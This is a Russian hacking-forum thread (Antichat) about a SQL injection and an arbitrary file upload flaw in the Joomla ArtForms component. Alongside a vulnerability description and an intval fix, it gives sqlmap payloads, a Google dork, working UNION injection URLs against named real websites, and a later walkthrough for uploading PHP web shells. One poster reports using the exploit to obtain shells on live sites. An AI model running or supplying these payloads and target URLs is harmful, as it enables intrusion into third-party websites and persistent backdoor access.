Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Веб-уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Sql injection Joomla com_artforms (https://forum.antichat.xyz/showthread.php?t=318339)

Machine 10.02.2012 22:55

1) Дата: 9.02.2012

2) Продукт: Компонент для cms Joomla - Artforms http://joomlacode.org/gf/project/jartforms/

3) Уязвимость: Joomla Component com_artforms SQL injection vulnerability

4) Автор: Machine

5) Тип: удалённая

6) Опасность: 9

7) Описание: описание смысла уязвимости, пример дырявого кода

$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

$db =& JFactory::getDBO();

saveDBForms( $db, $option, $itemname_todb, $itemdata_todb, $formtitle, $formid );

Параметр formid не фильтруется должным образом перед использованием в запросе. Это можно использовать для

проведения SQL иньекции, вводя произвольный SQL код.

Вывод sqlmap:

GET parameter 'formid' is 'AND boolean-based blind - WHERE or HAVING clause' injectable

GET parameter 'formid' is 'MySQL > 5.0.11 AND time-based blind' injectable

GET parameter 'formid' is vulnerable.

При подстановке в formid кавычки, встретил 2 варианта:

1. Страница подменяет контент на "You are not authorised to view this resource. You need to log in."

2. Уязвимый запрос никак не влияет на возвращаемую страницу.

Оба варианта можно эксплуатировать.

8) Эксплоит:

Скуль можно отловить тока временными задержками, т.е. проводя Time-based sql injection.

Вывод sqlmap:

---

Place: GET

Parameter: formid

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: option=com_artforms&formid=1' AND 6369=6369 AND 'YtSt'='YtSt

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: option=com_artforms&formid=1' AND SLEEP(5) AND 'mZvJ'='mZvJ

---

9) Поиск: пример поиска приложения через поисковые системы

Google dork: inurl:index.php?option=com_artforms

10) Решение: в /components/com_artforms/artforms.php

$formid = JArrayHelper::getValue( $_REQUEST, 'formid' );

поменять на

$formid = intval(JArrayHelper::getValue( $_REQUEST, 'formid' ));

=====================

Видео _http://depositfiles.com/files/j5vqht4y9

=====================

Отдельное спасибо z0mbyak'у.

HAXTA4OK 10.02.2012 22:55

по просьбе ТС

Expl0ited 10.02.2012 23:29

Код:

Code:
http://agont.ru/index.php?option=com_artforms&formid=8'+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+&Itemid=202

обычный вывод

z0mbyak 11.02.2012 14:43

Цитата:

Сообщение от None
обычный вывод

Не всегда, таймбэйзед работает, а вывода нет)

Цитата:

Сообщение от None
http://www.infotrust.ru/index.php?option=com_artforms&formid=13


winstrool 25.11.2013 00:09

Цитата:

Сообщение от Expl0ited
Expl0ited said:
Код:

Code:
http://agont.ru/index.php?option=com_artforms&formid=8'+and+0+union+select+1,version(),3,4,5,6,7,8,9,10,11,12--+&Itemid=202

обычный вывод

Обычный вывод не везде срабатывает!

Понадобилось нарыть по быстрому шеллов, воспользовался данным експлоитом, до сих пор актуален, автору +!

winstrool 12.01.2014 19:43

Расковырял такую багу в версии ArtForms 2.1b7.2 думаю имеет смысл покапать и другие версии.

Заполняем форму прикрепляем свой шелл и идем в папку куда все заливается:

Цитата:

Сообщение от None
site.com/images/artforms/attachedfiles/

сам код заливки:

Цитата:

Сообщение от None
if (!in_array('error', $attfileerrchk) && $_FILES['attfile']['name'][$g] != '' ){
jimport('joomla.user.helper');
$saltpass = JUserHelper::genRandomPassword('5');
$attachmentsucc = $_FILES['attfile']['name'][$g];
$attachmentsname = date('Y-m-d-H-i-s-').$saltpass.'-'.str_replace(' ','-',$_FILES['attfile']['name'][$g]);
$attachments[] = $artuplpfad.$attachmentsname;
$attachmentstodb[] = $attachmentsname;
move_uploaded_file($_FILES['attfile']['tmp_name'][$g],$artuplpfad.$attachmentsname);
$meldung .= ''.$attachmentsucc.': '.JText::_( 'ARTF_SUCCESS' ).'
';
}

протестировал тут успешно:

Цитата:

Сообщение от None
http://coon-cat.com/?option=com_artforms&formid=1&Itemid=1

Формат в котором заливается:

PHP код:

PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$attachmentsname[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Y-m-d-H-i-s-'[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$saltpass[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'-'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'-'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'attfile'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#0000BB"]$g[/COLOR][COLOR="#007700"]]);[/COLOR][/COLOR

2014-01-12-16-15-32-PhpjV-shell.php

2014-01-12-16-19-22-vyEVm-shell.php

попадались сайты с расшареной папкой по запросу:

Цитата:

Сообщение от None
Index of /images/artforms/attachedfiles

Но не везде проходила эта бага...

с закрытыми папками остается только брутить соль в название из 5 символов.

сам проект ведется здесь:

Цитата:

Сообщение от None
http://joomlacode.org/gf/project/jartforms/


HAXTA4OK 11.09.2014 23:48

ушло


Время: 21:30